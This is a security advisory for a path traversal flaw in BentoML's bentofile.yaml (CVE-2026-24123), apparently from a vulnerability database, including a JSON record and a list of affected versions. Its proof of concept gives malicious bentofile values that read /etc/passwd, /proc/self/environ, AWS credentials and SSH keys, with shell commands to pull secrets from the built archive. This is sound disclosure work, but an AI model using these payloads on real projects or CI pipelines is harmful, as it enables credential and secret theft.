PYSEC-2026-1218
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:23Summary
BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.
Details
The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.
Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:
def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
_path = os.path.expanduser(os.path.expandvars(filepath))
if not os.path.isabs(_path) and ctx:
_path = os.path.expanduser(os.path.join(ctx, filepath))
if os.path.exists(_path):
return os.path.realpath(_path) # No path containment check
raise FileNotFoundError(f"file {filepath} not found")
Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:
if build_config.description.startswith("file:"):
file_name = build_config.description[5:].strip()
if not ctx_path.joinpath(file_name).exists():
raise InvalidArgument(f"File {file_name} does not exist.")
shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal
All four vulnerable fields:
- description: "file:../../../etc/passwd" → copied to README.md
- docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
- docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
- conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml
Multiple path formats are supported, making exploitation trivial:
| Format | description |
setup_script |
dockerfile_template |
environment_yml |
|---|---|---|---|---|
Absolute paths (/etc/passwd) |
Yes | Yes | Yes | Yes |
Tilde expansion (~/.ssh/id_rsa) |
No | Yes | Yes | Yes |
Env vars ($HOME/.aws/credentials) |
No | Yes | Yes | Yes |
Relative traversal (../../../etc/passwd) |
Yes | Yes | Yes | Yes |
Proc filesystem (/proc/self/environ) |
Yes | Yes | Yes | Yes |
The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().
The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).
PoC
- Create a minimal service:
# service.py
import bentoml
@bentoml.service
class TestService:
@bentoml.api
def predict(self, text: str) -> str:
return text
- Create malicious
bentofile.yaml. Multiple attack vectors are available:
Vector 1: Exfiltrate /etc/passwd via description field
service: "service.py:TestService"
description: "file:/etc/passwd"
Vector 2: Exfiltrate all environment variables (CI/CD secrets)
service: "service.py:TestService"
description: "file:/proc/self/environ"
Vector 3: Exfiltrate files using environment variable expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "$HOME/.aws/credentials"
Vector 4: Exfiltrate files using tilde expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "~/.ssh/id_rsa"
Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.
- Run build:
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
- Verify exfiltration:
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...
# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.
Impact
Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).
Attack scenarios:
- Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
- CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets.
- BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.
- Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments
| Name | purl | bentoml | pkg:pypi/bentoml |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "bentoml",
"purl": "pkg:pypi/bentoml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.34"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.2",
"0.0.3",
"0.0.5",
"0.0.6a0",
"0.0.7",
"0.0.7.dev0",
"0.0.8",
"0.0.8.post1",
"0.0.9",
"0.1.1",
"0.1.2",
"0.10.0",
"0.10.1",
"0.11.0",
"0.11.dev0",
"0.12.0",
"0.12.1",
"0.13.0",
"0.13.1",
"0.13.2",
"0.2.0",
"0.2.1",
"0.2.2",
"0.3.0",
"0.3.1",
"0.3.3",
"0.3.4",
"0.4.0",
"0.4.1",
"0.4.2",
"0.4.3",
"0.4.4",
"0.4.5",
"0.4.7",
"0.4.8",
"0.4.9",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.4",
"0.5.5",
"0.5.6",
"0.5.7",
"0.5.8",
"0.6.0",
"0.6.1",
"0.6.2",
"0.6.3",
"0.7.0",
"0.7.1",
"0.7.2",
"0.7.3",
"0.7.4",
"0.7.5",
"0.7.6",
"0.7.7",
"0.7.8",
"0.8.0",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.8.5",
"0.8.6",
"0.9.0",
"0.9.0rc0",
"0.9.1",
"0.9.2",
"1.0.0",
"1.0.0.dev0",
"1.0.0.dev1",
"1.0.0a1",
"1.0.0a2",
"1.0.0a3",
"1.0.0a4",
"1.0.0a5",
"1.0.0a6",
"1.0.0a7",
"1.0.0rc0",
"1.0.0rc1",
"1.0.0rc2",
"1.0.0rc3",
"1.0.10",
"1.0.11",
"1.0.12",
"1.0.13",
"1.0.14",
"1.0.15",
"1.0.16",
"1.0.17",
"1.0.18",
"1.0.19",
"1.0.2",
"1.0.20",
"1.0.21",
"1.0.22",
"1.0.23",
"1.0.24",
"1.0.25",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.7",
"1.0.8",
"1.0.9",
"1.1.0",
"1.1.1",
"1.1.10",
"1.1.11",
"1.1.2",
"1.1.3",
"1.1.4",
"1.1.5",
"1.1.6",
"1.1.7",
"1.1.8",
"1.1.9",
"1.2.0",
"1.2.0a0",
"1.2.0a1",
"1.2.0a2",
"1.2.0a3",
"1.2.0a4",
"1.2.0a5",
"1.2.0a6",
"1.2.0a7",
"1.2.0rc1",
"1.2.1",
"1.2.10",
"1.2.11",
"1.2.12",
"1.2.13",
"1.2.14",
"1.2.15",
"1.2.16",
"1.2.17",
"1.2.18",
"1.2.19",
"1.2.1a1",
"1.2.2",
"1.2.20",
"1.2.3",
"1.2.4",
"1.2.5",
"1.2.6",
"1.2.7",
"1.2.8",
"1.2.9",
"1.3.0",
"1.3.0a1",
"1.3.0a2",
"1.3.0a3",
"1.3.1",
"1.3.10",
"1.3.11",
"1.3.12",
"1.3.13",
"1.3.14",
"1.3.15",
"1.3.16",
"1.3.17",
"1.3.18",
"1.3.19",
"1.3.2",
"1.3.20",
"1.3.21",
"1.3.22",
"1.3.3",
"1.3.4.post1",
"1.3.5",
"1.3.6",
"1.3.7",
"1.3.8",
"1.3.9",
"1.4.0",
"1.4.0a1",
"1.4.0a2",
"1.4.1",
"1.4.10",
"1.4.11",
"1.4.12",
"1.4.13",
"1.4.14",
"1.4.15",
"1.4.16",
"1.4.17",
"1.4.18",
"1.4.19",
"1.4.2",
"1.4.20",
"1.4.21",
"1.4.22",
"1.4.23",
"1.4.24",
"1.4.25",
"1.4.26",
"1.4.27",
"1.4.28",
"1.4.29",
"1.4.3",
"1.4.30",
"1.4.31",
"1.4.32",
"1.4.33",
"1.4.4",
"1.4.5",
"1.4.6",
"1.4.7",
"1.4.8",
"1.4.9"
]
}
],
"aliases": [
"CVE-2026-24123",
"GHSA-6r62-w2q3-48hf"
],
"details": "### Summary\n\nBentoML\u0027s `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.\n\n### Details\n\nThe vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.\n\n**Vulnerable function** in `src/bentoml/_internal/utils/filesystem.py:114-131`:\n\n```python\ndef resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -\u003e str:\n _path = os.path.expanduser(os.path.expandvars(filepath))\n if not os.path.isabs(_path) and ctx:\n _path = os.path.expanduser(os.path.join(ctx, filepath))\n if os.path.exists(_path):\n return os.path.realpath(_path) # No path containment check\n raise FileNotFoundError(f\"file {filepath} not found\")\n```\n\n**Vulnerable code** in `src/bentoml/_internal/bento/bento.py:348-355`:\n\n```python\nif build_config.description.startswith(\"file:\"):\n file_name = build_config.description[5:].strip()\n if not ctx_path.joinpath(file_name).exists():\n raise InvalidArgument(f\"File {file_name} does not exist.\")\n shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal\n```\n\nAll four vulnerable fields:\n- `description: \"file:../../../etc/passwd\"` \u2192 copied to `README.md`\n- `docker.setup_script: \"../../../etc/passwd\"` \u2192 copied to `env/docker/setup_script`\n- `docker.dockerfile_template: \"../../../secret\"` \u2192 copied to `env/docker/Dockerfile.template`\n- `conda.environment_yml: \"../../../etc/hosts\"` \u2192 copied to `env/conda/environment.yml`\n\n**Multiple path formats are supported, making exploitation trivial:**\n\n| Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` |\n|--------|---------------|----------------|----------------------|-------------------|\n| Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes |\n| Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes |\n| Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes |\n| Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes |\n| Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes |\n\nThe `description` field uses `pathlib.Path.joinpath()` directly, while other fields use `resolve_user_filepath()` which calls `os.path.expanduser()` and `os.path.expandvars()`.\n\nThe `/proc/self/environ` vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_PASSWORD`, etc.).\n\n### PoC\n\n1. Create a minimal service:\n\n```python\n# service.py\nimport bentoml\n\n@bentoml.service\nclass TestService:\n @bentoml.api\n def predict(self, text: str) -\u003e str:\n return text\n```\n\n2. Create malicious `bentofile.yaml`. Multiple attack vectors are available:\n\n**Vector 1: Exfiltrate /etc/passwd via description field**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/etc/passwd\"\n```\n\n**Vector 2: Exfiltrate all environment variables (CI/CD secrets)**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/proc/self/environ\"\n```\n\n**Vector 3: Exfiltrate files using environment variable expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n dockerfile_template: \"$HOME/.aws/credentials\"\n```\n\n**Vector 4: Exfiltrate files using tilde expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n dockerfile_template: \"~/.ssh/id_rsa\"\n```\n\nNote: The `description` field does not support `~` or `$VAR` expansion. Use absolute paths or relative traversal for `description`. The `docker.*` and `conda.*` fields support all path formats.\n\n3. Run build:\n\n```bash\n$ bentoml build\nSuccessfully built Bento(tag=\"test_service:abc123\").\n```\n\n4. Verify exfiltration:\n\n```bash\n# For description field - check README.md\n$ cat ~/bentoml/bentos/test_service/abc123/README.md\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n\n# For /proc/self/environ - extract CI/CD secrets\n$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr \u0027\\0\u0027 \u0027\\n\u0027 | grep -E \"KEY|TOKEN|SECRET\"\nAWS_SECRET_ACCESS_KEY=AKIA...\nGITHUB_TOKEN=ghp_...\n\n# For dockerfile_template - check Dockerfile.template\n$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template\n[default]\naws_access_key_id = AKIA...\naws_secret_access_key = ...\n```\n\nThe exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.\n\n### Impact\n\n**Who is impacted:** Any user who runs `bentoml build` on an untrusted `bentofile.yaml` (e.g., cloned from a malicious repository).\n\n**Attack scenarios:**\n- **Supply chain attack:** Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated\n- **CI/CD environment variable theft:** Using `file:/proc/self/environ`, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`, etc.), making this a single-payload method to steal all pipeline secrets.\n- **BentoCloud exfiltration:** When victims push compromised bentos to BentoCloud (`bentoml push`), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.\n- **Data theft:** Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments",
"id": "PYSEC-2026-1218",
"modified": "2026-07-07T17:23:50.964866Z",
"published": "2026-07-07T16:03:20.232952Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24123"
},
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4"
},
{
"type": "PACKAGE",
"url": "https://github.com/bentoml/BentoML"
},
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/releases/tag/v1.4.34"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/bentoml"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6r62-w2q3-48hf"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "BentoML has a Path Traversal via Bentofile Configuration"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.